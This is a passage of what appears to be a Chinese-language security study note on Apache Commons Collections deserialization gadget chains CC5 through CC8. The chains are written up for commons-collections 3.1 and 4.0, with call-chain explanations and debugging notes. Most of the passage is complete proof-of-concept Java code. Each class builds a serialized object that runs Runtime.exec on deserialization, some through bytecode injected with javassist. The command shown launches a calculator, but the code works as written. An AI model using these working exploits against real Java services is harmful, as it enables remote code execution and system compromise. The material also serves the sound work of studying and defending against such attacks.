ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(priorityQueue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
CC5
cc5用到了之前分析过的TiedMapEntry
之前的写的调用链()
HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()
cc5的
BadAttributeValueExpException.readObject()->valObj.toString()->TiedMapEntry.getValue->LazyMap.get()
因为这条利用链关键是触发TiedMapEntry.toString()
,而debug的时候调试器会在下面调用一些toString之类的方法,所以就会造成调试过程中莫名其妙弹处计算器的情况
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformersChain = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap,transformersChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
setField(poc,"val",tiedMapEntry);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(poc);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
CC6
调用链
HashSet.readObject->HashMap.put()->HashMap.hash(key)->TiedMapEntry.hashCode()->LazyMap.get()
跟之前cc2中分析的差不多,poc
public class test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformersChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformersChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"keykey1");//把outerMap放入TiedMapEntry
HashSet hashSet = new HashSet();
hashSet.add(tme);
outerMap.remove("keykey1");
setField(transformersChain,"iTransformers",transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
CC7
Hashtable.readObject()->Hashtable.reconstitutionPut()->AbstractMapDecorator.equals()->AbstractMap.equals()->
LazyMap.get
Hashtable.readObject()#1215
Hashtable.reconstitutionPut()#1241
这里要进入for循环需要e不为空,所以在readObject()里的for循环要第二次调用reconstitutionPut(),e才不为空,而此时key为lazyMap实例,并且lazyMap继承了AbstractMapDecorator
AbstractMapDecorator.equals()->AbstractMap.equals()#495
m是laztMap实例,调用lazyMap.get()
poc
public class test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class }, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
setField(transformerChain,"iTransformers",transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
调试分析
首先这个for循环的elements是放入hashtable的个数,这里是2,第一次进入for循环,key是yy,value是1
到这里,e=table[index]是null,直接跳过for循环
然后这一步赋值给table[index]
下一层for循环,此时key是zZ,value是1
由于上一轮的赋值,此时e不为空
然后进入e.hash==hash的判断,由于yy和zZ的hashcode相同所以成功调用equals
然后还有一个问题是为什么lazymap2会多出来一个key为yy,断点打到hashtable.put(lazyMap2, 1);
在hashtable.put方法中有验证key是否重复这行,此时entry为yy的map(因为要挨个比较是不是跟zZ重复,并且当前只有一个hashmap),参数key是zZ
继续到AbstractMap.equals()
,这里i先得到所有hashmap,第一个自然是yy了,
所以在492行中m.get(key)
,m是lazymap2,key是yy
之后到LazyMap.get,因为此时lazymap2中并没有yy这一key,所以在lazymap2中增加了一个yy
return之后回到hashtable的这一循环中,可以发现lazymap2的key变成了两个
所以需要手动
lazymap2.remove("yy")
,不删会影响后续逻辑判断
CC8
Gadget chain:
org.apache.commons.collections4.bag.TreeBag.readObject
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
java.util.TreeMap.put
java.util.TreeMap.compare
org.apache.commons.collections4.comparators.TransformingComparator.compare
org.apache.commons.collections4.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
... (TemplatesImpl gadget)
java.lang.Runtime.exec
TreeBag.readObject()
调用父类方法
AbstractMapBag.doReadObject()
map类型为TreeMap,524调用put
TreeMap.put
,t为null则调用compare
TreeMap.compare
,令compare为TransformingComparator
,接上了cc2
poc
public class test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"calc.exe\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
byte[][] bytecode = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates,"_bytecodes",bytecode);
setField(templates,"_name","test");
setField(templates,"_class",null);
setField(templates,"_tfactory", TransformerFactoryImpl.class.newInstance());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator(transformer);
TreeBag tree = new TreeBag(comp);
tree.add(templates);
setField(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(tree);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
调试
首先TreeBag.readObject
调用父类doReadObject,这里的参数首先从反序列化数据中读出,然后当作构造参数生成一个TreeMap
父类AbstractMapBag.doReadObject
这里的map是刚刚的TreeMap实例,并且obj是TemplateImpl实例
TreeMap.put
t=null进入if,key是是TemplateImpl实例
TreeMap.compare
因为comparator在TreeMap初始化时被赋值为TransformingComparator
实例,所以调用TransformingComparator.compare()
在invokerTransformer.transform
中反射调用TeamplateImpl.newTransformer
,后面就一样了,还原字节码
总结
commons-collections3.1:1,3,5,6,7
commons-collections4.0:2,4,8